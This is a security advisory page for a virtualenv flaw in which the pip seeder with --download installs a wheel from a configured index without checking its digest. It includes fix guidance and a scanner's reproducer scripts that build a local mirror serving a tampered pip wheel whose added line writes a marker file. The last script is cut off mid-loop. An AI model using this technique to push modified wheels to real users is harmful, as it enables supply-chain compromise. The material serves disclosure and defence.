---
id: "CVE-2026-113717"
kind: "vulnerability"
aliases: ["CVE-2026-113717", "GHSA-cx28-75q4-x26q"]
title: "virtualenv: Pip seeding with download omits wheel digest verification"
severity: "low"
cvss: 2.3
epss: 0.00297
exploited: false
status: "open"
category: "package"
products: [{"name": "virtualenv", "fixed": ["21.14.9"], "affected": "< 21.14.9", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ci", "cwe-494", "package", "python", "self-hosted", "virtualenv"]
not_affected_if: ["default-config", "default-seeder", "embedded-wheels-only", "pypi-index-only"]
published_at: "2026-10-20T20:17:18+00:00"
first_seen_at: "2026-10-23T21:57:21+00:00"
updated_at: "2026-10-25T04:49:49+00:00"
sources: [{"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717", "first_seen_at": "2026-10-23T21:57:21+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-cx28-75q4-x26q", "first_seen_at": "2026-10-23T22:27:42+00:00"}]
---

# virtualenv: Pip seeding with download omits wheel digest verification

When virtualenv builds an environment with the pip seeder and --download, it lets pip pick a wheel from the configured index without comparing its SHA-256 against PyPI metadata. A non-PyPI index named in pip.conf can then serve a modified pip wheel that gets installed and runs later.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:virtualenv affected < 21.14.9 fixed 21.14.9

## How to check

- Run `virtualenv --version` and compare with the fixed release `21.14.9`.
- Check whether environments are built with `--seeder pip` together with `--download`, in CI scripts or tooling config.
- Check `pip.conf` (user, global or project) for an `index-url` or `extra-index-url` pointing away from PyPI.

## Fix

- Upgrade virtualenv to `21.14.9` or later.
- Until upgraded, avoid `--seeder pip --download`; use embedded wheels without downloads, or verify approved seed archives separately.

## Timeline

- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113717
- 2026-10-23T22:27:42+00:00 ghsa https://github.com/advisories/GHSA-cx28-75q4-x26q

## From the sources

## Summary

The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.
Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Wheel selection by the pip seeder when downloads are enabled.

## Attacker-controlled input

The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.
Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

## Affected code

The relevant 21.14.8 source is in
[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).

## Mechanism

With `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so
virtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the
configured index. An index wheel with the same package and version as the bundled wheel can be selected without
virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the
same option.

## Reproduction and evidence

The scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same
filename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the
second run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;
`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting
`BUG`.

Both `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left
`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained
active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is
older, while the comparison with the default seeder arose when digest verification was added in 21.7.12.
[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with
index lookup disabled.

## Attack sequence

```mermaid
sequenceDiagram
    participant I as Index in pip.conf
    participant V as virtualenv PipInvoke
    participant P as pip install
    participant E as Seeded environment
    I->>V: serve modified pip wheel
    V->>V: get_wheel(download=False)
    V->>P: install with --download permitting index lookup
    P->>I: select same-version index wheel
    I->>E: modified pip installed without virtualenv digest check
    E->>E: later pip invocation runs added code
    Note over V,E: Default app-data seeder rejects the same digest
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile

from virtualenv.seed.wheels.embed import get_embed_wheel

companions = "/tmp/repro.d"
work = "/tmp/repro-pip-seeder-download"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
os.makedirs(f"{work}/pypi.org/pypi/pip")
with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
    json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)

# attacker: the mirror serves other bytes under the bundled wheel's own file name
marker = f"{work}/MIRROR_CODE_RAN"
subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")

# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
with open(f"{work}/pip.conf", "w") as pip_conf:
    pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
os.makedirs(f"{work}/home-default")
os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]

# control: the default seeder with --download fetches the mirror's wheel and refuses it
default_seeder = subprocess.run(
    [*virtualenv, "--download", f"{work}/env-default"],
    env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
print("\n".join(refusal))

# trigger: the same command plus --seeder pip
pip_seeder = subprocess.run(
    [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
    env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
print(pip_seeder.stdout)
if pip_seeder.returncode == 0:
    env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
    print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")

# check: compare env-pip's pip/__init__.py with the one in each wheel
with zipfile.ZipFile(bundled.path) as wheel:
    bundled_init = wheel.read("pip/__init__.py")
with zipfile.ZipFile(mirror_wheel) as wheel:
    mirror_init = wheel.read("pip/__init__.py")
installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
installed_init = open(installed[0], "rb").read() if installed else b""
refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
print(f"default seeder refused the mirror's wheel for its digest: {refused}")
print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
```

**`repro.d/make_mirror.py`**

```text
#!/usr/bin/env python3
# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
import os
import sys
import zipfile

genuine_wheel, mirror, marker = sys.argv[1:]
wheel_name = os.path.basename(genuine_wheel)
payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip")
with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
    for entry 

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
